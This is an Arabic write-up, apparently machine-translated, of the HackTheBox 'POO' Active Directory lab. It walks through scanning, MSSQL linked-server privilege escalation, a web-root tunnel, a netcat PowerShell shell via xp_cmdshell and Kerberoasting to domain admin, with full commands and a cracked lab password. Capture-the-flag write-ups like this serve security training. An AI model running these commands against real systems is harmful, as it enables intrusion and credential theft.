HackTheBox نهاية اللعبة. مرور المختبر العمليات الهجومية المهنية. Pentest Active Directory

صورة

في هذه المقالة ، سنقوم بتحليل مرور ليس فقط من سيارة ، ولكن من مختبر صغير كامل من موقع HackTheBox .

كما هو موضح في الوصف ، تم تصميم POO لاختبار المهارات في جميع مراحل الهجمات في بيئة Active Directory الصغيرة. الهدف هو اختراق المضيف المتاح ، وزيادة الامتيازات ، وفي نهاية المطاف ، اختراق النطاق بأكمله ، مع جمع 5 أعلام.

يتم الاتصال بالمختبر عبر VPN. من المستحسن عدم الاتصال من كمبيوتر العمل أو من مضيف حيث تتوفر البيانات المهمة بالنسبة لك ، حيث ينتهي بك الأمر على شبكة خاصة مع أشخاص يعرفون شيئًا في مجال أمن المعلومات :)

المعلومات التنظيمية
, , Telegram . , , .

. , - , .

مقدمة


تتكون لعبة النهاية هذه من جهازين ، وتحتوي على 5 أعلام.

صورة

كما يتم تقديم وصف وعنوان المضيف المتاح.

صورة

هيا بنا نبدأ!

ريكون العلم


يحتوي هذا الجهاز على عنوان IP 10.13.38.11 ، والذي أضيفه إلى / etc / hosts.
10.13.38.11 poo.htb

أولاً ، نقوم بمسح المنافذ المفتوحة. نظرًا لأنه يستغرق وقتًا طويلاً لفحص جميع المنافذ باستخدام nmap ، سأفعل ذلك أولاً مع ماسكان. نقوم بمسح جميع منافذ TCP و UDP من واجهة tun0 بسرعة 500 حزمة في الثانية.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

صورة

الآن ، للحصول على معلومات أكثر تفصيلاً حول الخدمات التي تعمل على المنافذ ، سنقوم بإجراء مسح ضوئي باستخدام الخيار -A.

nmap -A poo.htb -p80,1433

صورة

وبالتالي ، لدينا IIS و MSSQL. في هذه الحالة ، سنكتشف اسم DNS الحقيقي للمجال والكمبيوتر. على خادم الويب نرحب بنا من قبل الصفحة الرئيسية IIS.

صورة

دعنا نذهب من خلال الدلائل. أنا استخدم الكأس لهذا. في المعلمات نشير إلى عدد التدفقات 128 (-t) وعنوان URL (-u) والقاموس (-w) والإضافات التي تهمنا (-x).

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

صورة

وبالتالي ، لدينا مصادقة HTTP للدليل / admin ، بالإضافة إلى ملف مستودع خدمة سطح المكتب المتاح. DS_Store. .DS_Store - هذه هي الملفات التي تخزن إعدادات المستخدم للمجلد ، مثل قائمة الملفات وموقع الرموز وصورة الخلفية المحددة. قد يقع مثل هذا الملف في دليل خادم الويب لمطوري الويب. وبالتالي ، نحصل على معلومات حول محتويات الدليل. يمكنك استخدام زاحف DS_Store لهذا الغرض .

python3 dsstore_crawler.py -i http://poo.htb/

صورة

نحصل على محتويات الدليل. الشيء الأكثر إثارة للاهتمام هنا هو دليل / dev ، الذي يمكننا من خلاله رؤية الملفات المصدر وملفات db في فرعين. ولكن يمكننا أولاً 6 أحرف من اسم الملفات والأدلة إذا كانت الخدمة عرضة لـ IIS ShortName. للتحقق من وجود هذه الثغرة الأمنية ، استخدم ماسح الاسم المختصر IIS .

صورة

وننتقل إلى ملف نصي يبدأ بـ "poo_co". لا أعرف ماذا أفعل بعد ذلك ، اخترت ببساطة جميع الكلمات التي تبدأ بـ "co" من قاموس الدليل.

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

وكرر من خلال wfuzz.

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

صورة

ونجد الكلمة الصحيحة! نحن ننظر إلى هذا الملف ، ونحفظ بيانات الاعتماد (إذا حكمنا من خلال معلمة DBNAME ، فهي من MSSQL).

صورة

نسلّم العلم ونمضي قدماً بنسبة 20٪.

صورة

هوه العلم


نحن متصلون بـ MSSQL ، أستخدم DBeaver.

صورة

لا نجد أي شيء مثير للاهتمام في قاعدة البيانات هذه ، فلننشئ محرر SQL ونتحقق من هوية المستخدمين.

SELECT name FROM master..syslogins;

صورة

لدينا مستخدمان. دعونا نتحقق من امتيازاتنا.

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

صورة

وبالتالي ، لا توجد امتيازات. دعونا نرى الخوادم ذات الصلة ، حول هذه التقنية التي كتبتها بالتفصيل هنا .

SELECT * FROM master..sysservers;

صورة

لذا نجد خادم SQL آخر. دعنا نتحقق من تنفيذ الأوامر على هذا الخادم باستخدام openquery ().

SELECT version FROM openquery("COMPATIBILITY\POO_CONFIG", 'select @@version as version');

صورة

ويمكننا أيضًا بناء شجرة استعلام.

SELECT version FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITY\POO_PUBLIC", ''select @@version as version'');');

والحقيقة أنه عندما نقوم بتنفيذ طلب على خادم مرتبط ، يتم تنفيذ الطلب في سياق مستخدم آخر! دعونا نرى في سياق أي مستخدم نعمل على خادم مرتبط.

SELECT name FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT user_name() as name');

صورة

الآن دعونا نرى في أي سياق يتم تنفيذ الطلب من الخادم المرتبط بخادمنا!

SELECT * FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITY\POO_PUBLIC", ''SELECT user_name() as name'');');

صورة

وبالتالي ، هذا سياق DBO يجب أن يكون لديك كافة الامتيازات. دعنا نتحقق من الامتيازات في حالة طلب من خادم مرتبط.

SELECT * FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITY\POO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

صورة

كما ترون ، لدينا كل الامتيازات! لنقم بإنشاء مسؤولنا بهذه الطريقة. لكنهم لا يسمحون لها من خلال openquery ، دعنا نفعل ذلك من خلال EXECUTE AT.

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";

والآن نحن متصلون ببيانات اعتماد المستخدم الجديد ، نلاحظ قاعدة بيانات العلم الجديدة.

صورة

نسلم هذا العلم ونمضي قدما.

صورة

علم التراجع


سنحصل على shell باستخدام MSSQL ، أستخدم mssqlclient من حزمة impacket.

mssqlclient.py ralf:ralfralf@poo.htb -db POO_PUBLIC

صورة

نحن بحاجة إلى الحصول على كلمات المرور ، وأول شيء التقينا به بالفعل هو الموقع. وبالتالي ، نحتاج إلى تهيئة خادم الويب (من المستحيل رمي غلاف مناسب ، يبدو أن جدار الحماية يعمل).

صورة

لكن الوصول مرفوض. على الرغم من أنه يمكننا قراءة الملف من MSSQL ، ما عليك سوى معرفة لغات البرمجة التي تم تكوينها. وفي دليل MSSQL نكتشف ما هو Python.

صورة

ثم قراءة ملف web.config لا توجد مشكلة.

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:\inetpub\wwwroot\web.config').read())"

صورة

بعد العثور على بيانات الاعتماد ، انتقل إلى / admin واختر العلم.

صورة

صورة

علم سلس


في الواقع ، هناك بعض المضايقات من استخدام جدار الحماية ، ولكن بالنظر إلى إعدادات الشبكة ، نلاحظ أن ثقب IPv6 يستخدم أيضًا!

صورة

أضف هذا العنوان إلى / etc / hosts.
dead:babe::1001 poo6.htb
دعنا نفحص المضيف مرة أخرى ، ولكن باستخدام IPv6.

صورة

تتوفر خدمة WinRM عبر IPv6. تواصل مع أوراق الاعتماد الموجودة.

صورة

هناك علم على سطح المكتب ، نسلمه.

صورة

علم P00ned


بعد الاستطلاع على المضيف باستخدام winpeas ، لا نجد أي شيء خاص. ثم تقرر البحث مرة أخرى عن أوراق الاعتماد (كتبت أيضًا مقالًا حول هذا الموضوع ). لكنني لم أتمكن من الحصول على جميع SPNs من النظام من خلال WinRM.

setspn.exe -T intranet.poo -Q */*

صورة

دعونا نقوم بتنفيذ الأمر من خلال MSSQL.

صورة

بهذه الطريقة ، نحصل على SPNs من المستخدمين p00_hr و p00_adm ، مما يعني أنهم عرضة لهجوم مثل Kerberoasting. باختصار ، يمكننا الحصول على تجزئات كلمات المرور الخاصة بهم.

تحتاج أولاً إلى الحصول على غلاف ثابت نيابة عن مستخدم MSSQL. ولكن نظرًا لأن وصولنا محدود ، فلا يمكننا الوصول إلا إلى المضيف من خلال المنفذ 80 و 1433. ولكن من الممكن أن تنفق حركة المرور عبر المنفذ 80! للقيام بذلك ، نستخدم التطبيق التالي . قم بتنزيل ملف tunnel.aspx إلى الدليل الرئيسي لخادم الويب - C: \ inetpub \ wwwroot \.

صورة

ولكن عندما نحاول الوصول إليه ، نحصل على الخطأ 404. وهذا يعني أنه لم يتم تنفيذ ملفات * .aspx. لكي يبدأ تنفيذ الملفات ذات هذه الملحقات ، قم بتثبيت ASP.NET 4.5 على النحو التالي.

dism /online /enable-feature /all /featurename:IIS-ASPNET45

صورة

صورة

والآن عند الوصول إلى tunnel.aspx نحصل على الإجابة بأن كل شيء جاهز للعمل.

صورة

دعونا نطلق جزء العميل من التطبيق ، والذي سيتعامل مع ترحيل المرور. سنعيد توجيه كل حركة المرور من المنفذ 5432 إلى الخادم.

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

صورة

ونستخدم proxychains لإرسال حركة المرور إلى أي تطبيق من خلال وكيلنا. أضف هذا الوكيل إلى ملف التكوين /etc/proxychains.conf.

صورة

الآن سنقوم بتحميل برنامج netcat إلى الخادم ، وبمساعدة منه سنقوم بعمل غلاف ثابت ، والبرنامج النصي Invoke-Kerberoast ، الذي سنقوم به هجوم Kerberoasting.

صورة

الآن من خلال MSSQL نبدأ المستمع.

xp_cmdshell C:\temp\nc64.exe -e powershell.exe -lvp 4321

صورة

والتواصل من خلال وكيلنا.

proxychains rlwrap nc poo.htb 4321

صورة

ودعنا نحصل على التجزئة.

. .\Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:\temp\kerb_hashes.txt' -Width 8000
type kerb_hashes.txt

صورة

بعد ذلك ، تحتاج إلى فرز هذه التجزئة. نظرًا لعدم وجود بيانات كلمة المرور في قاموس rockyou ، فقد استخدمت جميع قواميس كلمات المرور التي قدمتها القوائم السرية. للبحث نستخدم hashcat.

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

ونجد كلمتا المرور ، الأولى في القاموس dutch_passwordlist.txt ، والثانية في Keyboard-Combitions.txt.

صورة

صورة

وهكذا لدينا ثلاثة مستخدمين ، انتقل إلى وحدة تحكم المجال. أولاً نكتشف عنوانه.

صورة

حسنًا ، اكتشفنا عنوان IP لوحدة تحكم المجال. دعنا نكتشف جميع مستخدمي المجال ، وأي منهم المسؤول. لتنزيل البرنامج النصي للحصول على معلومات PowerView.ps1. ثم قم بالاتصال باستخدام evil-winrm عن طريق تحديد الدليل مع البرنامج النصي في المعلمة -s. ثم قم فقط بتحميل البرنامج النصي PowerView.

صورة

الآن جميع وظائفها متاحة لنا. يبدو المستخدم p00_adm كمستخدم مميز ، لذلك سنعمل في سياقه. قم بإنشاء كائن PSCredential لهذا المستخدم.

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

الآن سيتم تنفيذ جميع أوامر Powershell ، حيث نحدد Creds ، نيابة عن p00_adm. دعونا سرد المستخدمين والسمة AdminCount.

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

صورة

وهكذا ، فإن مستخدمنا يتمتع بامتياز حقًا. دعونا نلقي نظرة على المجموعات التي يتكون منها.

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

صورة

نؤكد أن المستخدم هو مسؤول المجال. هذا يمنحه الحق في تسجيل الدخول عن بعد إلى وحدة تحكم المجال. دعونا نحاول الدخول من خلال WinRM باستخدام نفقنا. كنت مرتبكًا من الأخطاء الناتجة عن reGeorg عند استخدام evil-winrm.

صورة

ثم سنستخدم برنامج نصي آخر أسهل للاتصال بـ WinRM. فتح وتغيير المعلمات للاتصال.

صورة

نحن نحاول الاتصال ، ونحن في النظام.

صورة

لكن لا يوجد علم. ثم انظر إلى المستخدم وتحقق من أجهزة سطح المكتب.

صورة

في mr3ks نجد العلم والمختبر مرت 100٪.

صورة

هذا كل شئ. للتعليق ، علّق على ما إذا كنت قد تعلمت شيئًا جديدًا من هذه المقالة وما إذا كان مفيدًا لك.

يمكنك الانضمام إلينا على Telegram. هناك يمكنك العثور على مواد مثيرة للاهتمام ، ودورات مدمجة ، بالإضافة إلى البرامج. دعونا نجمع مجتمعًا سيكون فيه أناس على دراية في العديد من مجالات تكنولوجيا المعلومات ، ثم يمكننا دائمًا مساعدة بعضنا البعض في أي قضايا تتعلق بتكنولوجيا المعلومات وأمن المعلومات.

All Articles